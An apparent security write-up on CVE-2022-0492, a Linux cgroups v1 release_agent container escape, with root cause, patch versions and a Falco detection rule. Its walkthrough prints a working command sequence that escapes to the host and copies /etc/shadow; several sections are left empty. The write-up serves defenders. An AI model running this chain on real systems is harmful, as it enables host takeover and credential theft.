CVE-2022-0492: Linux Kernel Cgroups v1 release_agent Container Escape

Executive Summary

CVE-2022-0492 is a privilege escalation vulnerability in the Linux kernel’s cgroup_release_agent_write function (kernel/cgroup/cgroup-v1.c). It allows a root process inside a container to escape to the host and gain full root privileges by abusing the cgroups v1 release_agent mechanism via user namespaces.

Background: What is release_agent?

cgroups v1 has a feature called release_agent — a path to a binary the kernel executes as root when a process in a child cgroup terminates (if notify_on_release is enabled). It lives in any cgroup v1 root directory:

/sys/fs/cgroup/<subsystem>/release_agent

Setting it is normally a privileged operation because the agent runs with full host capabilities. Prior to the patch, there was no capability check on writing to release_agent — only standard DAC (Discretionary Access Control) checks applied (file ownership).

Root Cause

The kernel function cgroup_release_agent_write() allowed any root user (even inside a non-initial user namespace) to write a path to release_agent. The missing check was:

// What the patch added:
if ((of->file->f_cred->user_ns != &init_user_ns) ||
    !capable(CAP_SYS_ADMIN))
    return -EPERM;

Without this check, a process running as root inside a container could:

1. Create a new user namespace via unshare() — gaining full capabilities in that namespace
2. Mount cgroupfs inside the new namespace
3. Write a malicious script path to release_agent
4. Trigger the release agent → get code execution as root on the host

Exploitation Walkthrough

The exploit requires 5 conditions:

1. Container running as root
2. No AppArmor or SELinux — both prevent mounting cgroupfs
3. No Seccomp — blocks unshare() syscall
4. Unprivileged user namespaces enabled (default on Ubuntu)
5. Container belongs to a root v1 cgroup (e.g., RDMA)

Step-by-step

# Inside the container:
# 1. Create new user + cgroup namespace (gives CAP_SYS_ADMIN)
unshare -UrmC bash

# 2. Mount cgroupfs for a subsystem where we're in the root cgroup
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# 3. Enable release notification
echo 1 > /tmp/cgrp/x/notify_on_release

# 4. Get the container's writable path on the host
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# 5. Write a malicious release agent (runs as root on host)
echo "#!/bin/sh" > /cmd
echo "cat /etc/shadow > $host_path/shadow" >> /cmd
chmod +x /cmd
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# 6. Trigger the release agent
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Process exits immediately -> kernel runs /cmd as root on the host

After execution, /shadow appears in the container filesystem containing the host’s shadow file — full host compromise.

Why This Works

What makes CVE-2022-0492 distinct from previous release_agent escapes is that it does not require CAP_SYS_ADMIN in the initial namespace. Previous techniques already worked but required privileged containers.

The key insight is a gap in the kernel’s mount permission model:

cgroupfs is the only pseudo-filesystem that passes both checks from an unprivileged user namespace — making it a unique vector for this attack class.

Detection & Prevention

Runtime Detection (Falco Rule)

- rule: CVE-2022-0492 Container Escape Attempt
  condition: >
    container.id != "" and
    proc.name = "unshare" and
    evt.args contains "mount" and
    evt.args contains "-o rdma" and
    evt.args contains "/release_agent"
  output: >
    CVE-2022-0492 attempt (user=%user.loginname command=%proc.cmdline)
  priority: CRITICAL

Kernel-Level Fix

Update to a patched kernel:

• Mainline fix: commit 24f6008564183 (Linux 5.17-rc3)
• Stable backports:
  • 4.9.301, 4.14.266, 4.19.229
  • 5.4.177, 5.10.97, 5.15.20, 5.16.6

Defense-in-Depth

The exploit is fully blocked by standard container security defaults:

If you’re running containers with all three defaults enabled, you’re protected even without the kernel patch.

CISA KEV Status

Added to CISA Known Exploited Vulnerabilities catalog: June 2, 2026

This is significant — it means the vulnerability is being actively exploited in the wild nearly 4 years after the patch was published, likely in containerized environments where:

• Legacy kernels are still running
• Security profiles were disabled for convenience
• cgroups v1 is still in use

Broader Context

CVE-2022-0492 is the third kernel vulnerability in recent memory allowing container escape via user namespace abuse:

1. CVE-2022-0492 — cgroups v1 release_agent (this one)
2. CVE-2022-0185 — file system context type confusion (Kubernetes escape)
3. CVE-2021-22555 — Netfilter heap overflow

All three are blocked by Seccomp + AppArmor/SELinux. The pattern is consistent: the kernel’s user-namespace boundary is leaky, and your security posture should never rely on it being the sole defense.

Timeline

References

• NVD Entry
• Kernel Patch
• PoC Exploit (GitHub)
• Unit 42 Analysis
• Sysdig Detection Guide
• CISA KEV Entry
• Deep Dive: How release_agent escape works